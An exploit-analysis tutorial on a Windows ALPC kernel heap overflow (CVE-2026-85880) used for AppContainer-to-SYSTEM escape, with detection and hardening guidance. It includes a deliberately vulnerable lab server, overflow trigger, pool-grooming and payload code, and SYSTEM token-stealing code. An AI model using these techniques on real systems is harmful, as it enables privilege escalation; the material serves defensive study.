CVE-2026-85880 Anatomy: Heap Buffer Overflow in Windows ALPC, AppContainer Sandbox Escape to SYSTEM Without User Interaction
A renderer process pinned inside an AppContainer is supposed to be the safest place code can run on Windows short of a null token. No file system, no clipboard, no network beyond the broker, no handles it wasn’t handed. And yet on September 1, 2026, two Chinese state-aligned crews were walking straight out of exactly that box, chaining a Chrome V8 bug into a WebAssembly escape and landing the final blow on a Windows kernel flaw in the one subsystem nobody puts on the sandbox denylist: ALPC. This is the teardown of that final link, CVE-2026-85880.
What ALPC actually is, and why attackers keep coming back to it
Advanced Local Procedure Call is the undocumented message-passing bus that holds Windows together. When a browser renderer asks its broker to open a file, when the RPC runtime does a local call (LRPC), when WNF publishes a state change, when csrss.exe, lsass.exe, and the DWM talk to each other, the bytes ride ALPC underneath. It replaced the old NT LPC and it is everywhere.
The shape is simple. A server calls NtAlpcCreatePort to publish a named connection port in the object namespace (usually under \RPC Control). A client calls NtAlpcConnectPort. The server accepts with NtAlpcAcceptConnectPort, which spins up a pair of communication ports (one server-side, one client-side). From then on both ends push messages with a single unified syscall, NtAlpcSendWaitReceivePort. Messages come in two flavors: inline payloads up to 64 KB (AlpcMaxAllowedMessageLength returns exactly 0x10000), and section-backed transfers for anything larger, using shared views set up via NtAlpcCreatePortSection and NtAlpcCreateView.
Here is the part that matters for offense. ALPC is a trust-boundary crossing by design. A sandboxed, Untrusted-integrity, AppContainer-confined renderer still has to talk to more privileged brokers, and the NtAlpc* stubs in ntdll.dll are reachable from inside that sandbox. There is no capability gate. The kernel-side message handling runs at ring 0. So any parsing bug in that path is a candidate for a full sandbox-to-SYSTEM escape. That is not theoretical: the 2018 SandboxEscaper ALPC/Task Scheduler LPE and CVE-2023-21688 both live in exactly this neighborhood. CVE-2026-85880 is the newest tenant.
The vulnerability at a glance
| Attribute | Value |
|---|---|
| CVE | CVE-2026-85880 |
| CWE | CWE-122 (Heap-Based Buffer Overflow) + CWE-908 (Use of Uninitialized Resource) |
| CVSS v3.1 | 7.8 HIGH, AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Published | 2026-09-08 (September Patch Tuesday) |
| CISA KEV | Listed |
| Exploited in the wild | Confirmed by Microsoft, Volexity, and Proofpoint |
| Privilege required | Low-privilege local / AppContainer code execution |
| User interaction | None |
Read that CVSS vector like an attacker. AV:L (local), PR:L (low privileges), UI:N (no user interaction), S:U (scope unchanged). A 7.8 undersells it, because “scope unchanged” is doing a lot of hiding: the practical outcome is a jump from Untrusted integrity in an AppContainer to NT AUTHORITY\SYSTEM. When a bug is chained behind a remote browser exploit, the “local” attack vector is free.
Affected builds run the gamut: Windows 10 1607, 1809, 21H2, and 22H2, plus Windows Server 2012 through 2022 including Server Core. The fixed builds tell you where to point your diffing tools:
| OS | Fixed build |
|---|---|
| Win 10 1607 | 10.0.14393.9512 |
| Win 10 1809 | 10.0.17763.9245 |
| Win 10 21H2 / 22H2 | 10.0.19044.7725 / 10.0.19045.7725 |
| Server 2022 | 10.0.20348.5622 |
The kernel objects you have to know cold
You cannot exploit or defend this bug without a mental model of the three structures the corruption touches. All of these live in kernel pool. Confirm every offset against your own target with dt nt!_ALPC_PORT in WinDbg, because they drift between builds.
_ALPC_PORT
This is the executive object backing every port, allocated from NonPagedPool. The interesting fields for exploitation:
struct _ALPC_PORT {
/*0x0000*/ LIST_ENTRY PortListEntry;
/*0x0010*/ _ALPC_COMMUNICATION_INFO *CommunicationInfo; // kernel ptr write target
/*0x0018*/ _EPROCESS *OwnerProcess; // redirect ownership checks
/*0x0020*/ void *CompletionPort;
/*0x0038*/ void *PortContext;
/*0x0090*/ LIST_ENTRY MainQueue; // LIST_ENTRY unlink target
/*0x00b8*/ LIST_ENTRY PendingQueue;
/*0x00d0*/ LIST_ENTRY DirectQueue;
/*0x0100*/ _ALPC_PORT_ATTRIBUTES PortAttributes; // MaxMessageLength lives here
/*0x0168*/ _ALPC_COMPLETION_LIST *CompletionList;
};
Three of these are gold. CommunicationInfo at +0x10 points to a structure that embeds ConnectionPort, ServerCommunicationPort, ClientCommunicationPort, and a CloseMessage pointer, so overwriting it gives you a controlled kernel pointer to chase. OwnerProcess at +0x18 feeds privilege and ownership checks; point it at the SYSTEM _EPROCESS and downstream logic starts making decisions in your favor. And the LIST_ENTRY queue heads (MainQueue, PendingQueue, DirectQueue) are textbook pool-unlink primitives: corrupt a Flink/Blink pair and the next unlink does a *(Blink) = Flink; *(Flink+8) = Blink write for you.
_KALPC_MESSAGE
Every in-flight message gets one of these, pool-allocated per message. It is roughly 0x118 bytes on x64.
struct _KALPC_MESSAGE { // ~0x0118 bytes, x64
LIST_ENTRY Entry; // +0x0000 queue linkage (flink/blink)
_ALPC_PORT *PortQueue; // +0x0010 port this message is queued on
_ALPC_PORT *OwnerPort; // +0x0018 originating port
_ETHREAD *WaitingThread; // +0x0020 thread blocked awaiting reply
ULONG32 Flags; // +0x0028 QueueType, Canceled, Ready, ...
// PORT_MESSAGE header follows: TotalLength, DataLength, ClientId, MessageId
};
WaitingThread at +0x20 is the one to circle. It is the pointer to the thread parked on a reply, and it is mirrored by _ETHREAD.AlpcMessageId (around +0x578 on 22H2) so the two back-reference each other. When a message is cancelled via AlpcpCancelMessage or completed, the kernel dereferences WaitingThread. Control that pointer and you control what the kernel touches at completion time.
_ALPC_COMMUNICATION_INFO
struct _ALPC_COMMUNICATION_INFO {
/*0x0000*/ _ALPC_PORT *ConnectionPort;
/*0x0008*/ _ALPC_PORT *ServerCommunicationPort;
/*0x0010*/ _ALPC_PORT *ClientCommunicationPort;
/*0x0018*/ LIST_ENTRY CommunicationList;
/*0x0028*/ _ALPC_HANDLE_TABLE HandleTable;
/*0x0040*/ _KALPC_MESSAGE *CloseMessage;
};
One structural detail that saves you a lot of debugging: the reference-count blob for all ALPC objects sits at offset -0x30 relative to the object pointer. If your spray corrupts a refcount instead of a field you meant to hit, that is where the crash will trace back to.

Root cause: a length check that trusts the sender
Strip away the ceremony and CVE-2026-85880 is a classic boundary error. Somewhere on the inbound message path, ALPC allocates a fixed-size buffer on the kernel heap and then copies attacker-supplied message data into it without properly validating that the declared data length fits. CWE-122 is the overflow itself; CWE-908 is the companion problem, uninitialized message state or pointers left in a bad condition after the failed validation.
The call chain to keep in front of you is NtAlpcSendWaitReceivePort in ntdll transitioning into nt!AlpcpSendMessage, which calls nt!AlpcpValidateMessage before the copy, with the message object itself carved out by nt!AlpcpAllocateMessage (which picks NonPagedPool or PagedPool by size). The missing or insufficient bound is in the validate-then-copy region. Microsoft’s advisory does not name the exact sub-function, and I am not going to pretend I diffed the patched binary for you. If you want the precise changed basic block, that is the reader exercise at the end: BinDiff ntoskrnl.exe 10.0.19045.7724 against 10.0.19045.7725. Based on prior ALPC research the smart money is on AlpcpValidateMessage or the copy immediately downstream of it, but verify, do not trust.
The PORT_MESSAGE header carries TotalLength and DataLength. When the kernel honors a DataLength larger than the destination buffer, you get a linear out-of-bounds write into the pool. Everything past that point is grooming.
Why an AppContainer can even touch this
This is the detail that turns a mid-tier kernel overflow into a browser-exploit crown jewel. The AppContainer sandbox works by capability tokens and a syscall/attack-surface reduction model, but the NtAlpc* family is not filtered. An Untrusted-integrity, AppContainer-confined process can call NtAlpcConnectPort and NtAlpcSendWaitReceivePort through ntdll directly. No capability SID, no special handle, no broker mediation required to reach the vulnerable parsing code in the kernel.
That is precisely why UTA0560 and JungleBamboo (APT31 / Violet Typhoon / TA412) built their September 2026 chains around it, and why the BlueMoon exploit kit Proofpoint tracked (adopted by four espionage crews starting August 28, 2026) slots this bug in as the kernel LPE stage. The chain reads: CVE-2026-85046 (V8 type confusion) for read/write inside the V8 sandbox, then CVE-2026-87491 (a WebAssembly defect) to escape V8, then CVE-2026-85880 to break out of the renderer and grab SeDebugPrivilege. BlueMoon does it with three reflectively loaded DLLs, p1 for recon, p2 for the kernel LPE, and pp for the process-injection launcher. No file touches disk, no user clicks anything.

Kernel heap reality: Segment Heap changes the game
If your exploitation instincts were formed on the legacy pool lookaside model, throw half of them out. Windows 10 21H2 and later use the kernel Segment Heap for NonPagedPool. Allocations now flow through three sub-allocators: the Variable-Size (VS) allocator, the Low-Fragmentation Heap (LFH) for common small sizes, and a large-chunk path. A _KALPC_MESSAGE at ~0x118 bytes and small port allocations will typically be serviced by the LFH bucket for that size class.
What this means practically:
- Determinism comes from the LFH bucket, not from a global slab. You groom within the size class of your victim object.
- Chunk headers are
HEAP_VS_CHUNK_HEADER-shaped (16 bytes) rather than the oldPOOL_HEADER. Your overflow distance calculation has to account for the right header for the sub-allocator that serviced the allocation. - LFH randomizes allocation order within a bucket, so you spray heavily, punch holes, and rely on the bucket refilling into your freed slots rather than assuming linear adjacency.
The ALPC pool tags to hunt for are AlMs for small messages on the NonPagedPoolNx lookaside and AlMl for large-message allocations. Confirm both with !pooltag AlMs on your target build before you trust them; tags occasionally change.

Building a safe lab
Do this on an isolated VM with no network adapter, snapshotted before every stage. Never on anything that matters.
| Item | Spec |
|---|---|
| VM OS | Windows 10 22H2 build 10.0.19045.7724 (the build before the patch, confirm with winver) |
| Lab server | A purpose-written alpc_vuln_server.exe that omits a length check before a memcpy into a fixed buffer |
| Attacker | alpc_exploit_client.exe launched under an AppContainer profile via CreateAppContainerProfile + CreateProcess |
| Debugger | WinDbg Preview over KDNET to a second VM, or local KD with bcdedit /debug on |
A hard line worth stating plainly: the lab server reproduces the class of bug (an unchecked length into a fixed pool-sized buffer), not the exact patched code path. That distinction is deliberate. You learn the primitive and the grooming without me handing anyone a drop-in weapon for the specific ntoskrnl path. The mechanics are identical; the target is a decoy you control.
Here is the deliberately broken server, trimmed to the vulnerable core:
// alpc_vuln_server.c -- LAB TARGET ONLY. Missing length validation by design.
// cl /Z7 alpc_vuln_server.c ntdll.lib
#include <windows.h>
#include "ntalpc.h" // hand-written NtAlpc* declarations
#define PORT_NAME L"\\RPC Control\\VulnAlpcLab"
#define SMALL_BUF_SZ 0x100 // fixed-size victim allocation
void ServerHandleMessage(PPORT_MESSAGE incoming, void *incomingData) {
BYTE msgBuf[SMALL_BUF_SZ]; // fixed buffer
// BUG: honors sender-declared DataLength with no bound check.
ULONG len = incoming->u1.s1.DataLength;
memcpy(msgBuf, incomingData, len); // overflow when len > SMALL_BUF_SZ
// ... process msgBuf ...
}
Driving the overflow to kernel pointer control
Step 1: crash first, understand second
Send a message whose DataLength blows past the buffer and watch the fault in the kernel debugger.
// alpc_exploit_client.c -- Stage 1: trigger and observe
PORT_MESSAGE *msg = VirtualAlloc(NULL, 0x10000, MEM_COMMIT, PAGE_READWRITE);
msg->u1.s1.TotalLength = 0x10000;
msg->u1.s1.DataLength = 0x2000; // >> SMALL_BUF_SZ
memset((BYTE*)msg + sizeof(PORT_MESSAGE), 0x41,
0x2000 - sizeof(PORT_MESSAGE));
NtAlpcSendWaitReceivePort(hPort, 0, msg, NULL, NULL, NULL, NULL, NULL);
In WinDbg you want a KERNEL_SECURITY_CHECK_FAILURE or POOL_CORRUPTION_IN_FILE_AREA, then !analyze -v, then !pool <faulting address> to confirm you are landing in the ALPC pool region. A pile of 0x41 bytes stomping a pool chunk header is the tell that you own the write.
Step 2: groom the pool
The goal is to place a controlled _KALPC_MESSAGE (or _KALPC_VIEW) immediately behind the victim buffer, so the linear overflow lands in a structure you understand.
// Spray objects into the target LFH bucket, then punch holes.
for (int i = 0; i < SPRAY_COUNT; i++) {
NtAlpcCreatePortSection(hPort, 0, NULL, 0x1000, &hSection[i], &actualSz);
NtAlpcCreateView(hPort, 0, &hView[i], &viewAttr[i]);
}
// Free every other object so the victim allocation refills a known-size hole.
for (int i = 0; i < SPRAY_COUNT; i += 2)
NtAlpcDeleteSection(hPort, 0, hSection[i]);
Walk the layout with !pool <address> 1 before and after the spray. You are looking to confirm the spray objects bracket the hole your victim allocation will fall into, with the right pool tags on either side.
Step 3: measure the distance, then write
Compute the exact overflow offset live. On Segment Heap with a HEAP_VS_CHUNK_HEADER (16 bytes) and a 0x100 victim buffer, the distance to the adjacent object’s Entry.Flink lands around 0x110, but you calculate it, you do not assume it:
dt nt!_KALPC_MESSAGE <spray_object_address>
? <adjacent_object_address> - <victim_buffer_address>
Then shape the payload so the overflow tail overwrites the fields you care about:
// x64, little-endian. Offsets are illustrative; verify against your lab build.
BYTE payload[0x200] = {0};
memset(payload, 0x41, 0x100); // fill victim buffer
*(ULONG64*)(payload + 0x110) = fakeListEntry_flink; // LIST_ENTRY.Flink
*(ULONG64*)(payload + 0x118) = fakeListEntry_blink; // LIST_ENTRY.Blink
*(ULONG64*)(payload + 0x120) = target_alpc_port; // PortQueue
*(ULONG64*)(payload + 0x130) = target_ethread; // WaitingThread
From linear write to arbitrary read/write
A single controlled linear overflow is not the win. It is the seed. You convert it into a stable arbitrary read and write, and there are two clean routes depending on how reliable your view manipulation is.
Route A, view-based read. Corrupt a neighboring _KALPC_VIEW.ViewBase so it points at the kernel address you want to read, then trigger the view mapping to pull that data into your user-mode mapping. Because ALPC section views legitimately bridge kernel and user memory, this gives you a repeatable arbitrary kernel read without any ring-0 shellcode.
Route B, PreviousMode write. Corrupt _KALPC_MESSAGE.WaitingThread to point at a target _ETHREAD, then arrange for a write to that thread’s PreviousMode byte, flipping it to 0 (KernelMode). Once a thread’s PreviousMode is KernelMode, NtWriteVirtualMemory and NtReadVirtualMemory issued from that thread stop enforcing the user/kernel boundary. Suddenly you have a full arbitrary read/write built entirely out of documented syscalls.
If both feel fragile, there is a blunter option: overwrite _ALPC_PORT.OwnerProcess to redirect ownership checks at the SYSTEM process, which shortens the path to token theft considerably. Pick the primitive your grooming supports most reliably. Reliability beats elegance in a chain that ships behind a browser exploit.
Stealing the SYSTEM token
With arbitrary read/write in hand, the last step is the oldest trick in Windows kernel exploitation. Walk _EPROCESS.ActiveProcessLinks to find the SYSTEM process (PID 4), read its Token pointer, and write that token pointer into your own process’s _EPROCESS.
// TOKEN_OFFSET in _EPROCESS on Win 10 22H2 is ~0x4b8.
// Confirm with `dt nt!_EPROCESS` on your exact build; it shifts.
ULONG64 systemEprocess = FindProcessByPid(4);
ULONG64 systemToken = ReadKernel64(systemEprocess + TOKEN_OFFSET);
ULONG64 ourEprocess = FindProcessByPid(GetCurrentProcessId());
WriteKernel64(ourEprocess + TOKEN_OFFSET, systemToken);
STARTUPINFOW si = { .cb = sizeof(si) };
PROCESS_INFORMATION pi;
CreateProcessW(L"C:\\Windows\\System32\\cmd.exe", NULL, NULL, NULL,
FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
// cmd.exe now runs as NT AUTHORITY\SYSTEM.
One caveat that trips people up: the reference-count bits packed alongside the token pointer mean you sometimes want to mask the low bits when copying, or you inflate the SYSTEM token’s refcount and destabilize the box. For a lab-and-exit exploit that rarely matters; for anything you want to survive, handle it.
Detection and defense: telling exploitation apart from normal ALPC noise
The uncomfortable truth is that ALPC traffic is deafening on a healthy Windows box. Millions of legitimate messages flow every hour. So detection has to key on the anomalies exploitation produces, not on ALPC use itself.
ETW and telemetry that actually helps
| Source | What to watch |
|---|---|
| Microsoft-Windows-Kernel-Memory ETW | Bursts of NonPagedPoolNx allocations in a single LFH size class from one low-integrity process (the spray) |
| Microsoft-Windows-Kernel-Process | A renderer/AppContainer process spawning cmd.exe or powershell.exe as SYSTEM (the payoff), and integrity-level transitions |
| Sysmon Event ID 1 (process create) | AppContainer or Untrusted-IL parent producing a SYSTEM-integrity child. This is the single highest-signal event in the whole chain. |
| Sysmon Event ID 8 (CreateRemoteThread) / 10 (ProcessAccess) | Cross-process access requesting PROCESS_ALL_ACCESS or SeDebugPrivilege right after a browser child process |
| Sysmon Event ID 25 | Process tampering / image hollowing consistent with BlueMoon’s pp injection launcher |
| Windows Defender Exploit Guard | Kernel pool integrity and CFG violation events preceding a crash |
WinDbg pool-spray signatures
If you can get a memory image or live KD on a suspect host, the spray leaves fingerprints. A dense, uniform run of AlMs/AlMl-tagged allocations of identical size, owned by a single low-privilege process, with regular free holes between them, does not happen during normal IPC. Walk it:
!poolused 2 AlMs ; total AlMs consumption, flag abnormal spikes
!pool <addr> 1 ; look for a regular alloc/free/alloc/free comb pattern
!alpc /p <port> ; inspect a suspicious port's queues for corrupt LIST_ENTRYs
dt nt!_KALPC_MESSAGE <addr> ; WaitingThread pointing outside valid _ETHREAD range = corruption
A WaitingThread value that does not resolve to a live _ETHREAD, or a LIST_ENTRY whose Flink->Blink does not point back at itself, is corruption, not benign traffic.
WFP and behavioral framing
Windows Filtering Platform will not see local ALPC, but it does see the front of the kill chain. The browser exploit stage has to fetch its payload; egress anomalies from a renderer process (an unexpected outbound connection immediately before a local privilege jump) tie the network and endpoint stories together. Treat “browser child process made a suspicious connection, then a SYSTEM process appeared under it” as one correlated incident, not two.
A Sigma-style hunt
title: AppContainer/Sandboxed Process Escalates to SYSTEM
logsource:
product: windows
category: process_creation
detection:
parent_integrity:
ParentIntegrityLevel:
- 'AppContainer'
- 'Untrusted'
- 'Low'
child_system:
IntegrityLevel: 'System'
suspicious_child:
Image|endswith:
- '\cmd.exe'
- '\powershell.exe'
- '\rundll32.exe'
condition: parent_integrity and child_system and suspicious_child
level: critical
Hardening
Patch is the real answer: builds 10.0.19045.7725 and its siblings fix the length check. Everything else is compensating control. Kernel pool integrity and CFG/CET where the build supports it raise the cost of the pointer-control step. Least privilege on service ALPC ports (deny anonymous/low-IL connects where the design allows it) shrinks reachable surface. And browser process isolation with strict site isolation keeps the front of the chain from ever reaching the kernel stage in the first place.

MITRE ATT&CK mapping
| Tactic | Technique | Where it appears in the chain |
|---|---|---|
| Initial Access | T1189 Drive-by Compromise | The Chrome V8 (CVE-2026-85046) entry point |
| Execution | T1203 Exploitation for Client Execution | V8 type confusion to code exec in the renderer |
| Privilege Escalation | T1068 Exploitation for Privilege Escalation | CVE-2026-85880, AppContainer to SYSTEM |
| Defense Evasion | T1055 Process Injection | BlueMoon’s pp reflective injection launcher |
| Defense Evasion | T1211 Exploitation for Defense Evasion | Sandbox/isolation escape via kernel corruption |
| Discovery | T1057 Process Discovery | p1 recon module enumerating targets |
| Credential Access | T1134 Access Token Manipulation | SYSTEM token theft via _EPROCESS walk |
The through-line to internalize is that CVE-2026-85880 is a T1068 link that only becomes catastrophic because it sits behind T1203 and enables T1134. Defenders who treat it as an isolated kernel bug will miss it. Defenders who instrument the transition (sandboxed parent, SYSTEM child) will catch it regardless of the exact primitive.
Patch diff, your homework
The one thing this brief deliberately does not hand you is the exact changed basic block, and neither will I. If you want it, earn it: pull ntoskrnl.exe from 10.0.19045.7724 and 10.0.19045.7725, load both into Ghidra or BinDiff, and focus on the AlpcpSendMessage to AlpcpValidateMessage neighborhood and the message-copy path just downstream. You are looking for a newly added bound comparison or a corrected size argument to the copy. When you find it, you will understand this bug better than any writeup can teach you, and you will understand why “trust the sender’s declared length” is a decision that keeps costing Microsoft CVEs a decade after it should have stopped.
Key takeaways
- ALPC is a permanent high-value target because it crosses trust boundaries and the
NtAlpc*syscalls are reachable from inside AppContainer sandboxes with no capability gate. - CVE-2026-85880 is a textbook CWE-122: a sender-controlled
DataLengthcopied into a fixed kernel pool buffer with an insufficient bound, giving a linear out-of-bounds write. - The write becomes power by grooming the Segment Heap LFH bucket so a
_KALPC_MESSAGEor_KALPC_VIEWsits behind the victim, then corruptingWaitingThread,ViewBase, or aLIST_ENTRYinto an arbitrary read/write. - The finale is the oldest move in the book: walk
_EPROCESS, steal PID 4’s token, spawn SYSTEM. Modern mitigations raise the cost of the middle step, not the last one. - Detection lives in the transition, a sandboxed or Untrusted-IL parent producing a SYSTEM child, plus pool-spray fingerprints (
AlMs/AlMlcombs, corruptLIST_ENTRYs, out-of-rangeWaitingThread). ALPC volume alone is worthless as a signal; the anomaly is not. - Patch to 10.0.19045.7725 and siblings. It was exploited in the wild by APT31/Violet Typhoon and the BlueMoon kit before anyone had a signature. Compensating controls buy time; the fixed length check ends the bug.
Related Tutorials
- Classic Stack Buffer Overflow: Smashing the Stack on Windows
- System Calls and SSDT: How User Mode Reaches the Kernel
- Egghunters: Staged Payload Delivery When Buffer Space Is Tight
- Position-Independent Code: Writing PIC Shellcode Without Hardcoded Addresses
- Fibers: User-Mode Cooperative Threads
References
- CVE-2026-85880 – Security Update Guide – Microsoft – Windows Advanced Local Procedure Call (ALPC) Elevation of Privilege Vulnerability
- NVD – CVE-2026-85880
- MITRE ATT&CK – Escape to Host, Technique T1611 – Enterprise
- Microsoft Issues Urgent Fixes for Actively Exploited Windows ALPC Privilege Escalation Vulnerability (CVE-2026-85880)
- Microsoft September 2026 Patch Tuesday fixes 966 flaws, 2 zero-days – BleepingComputer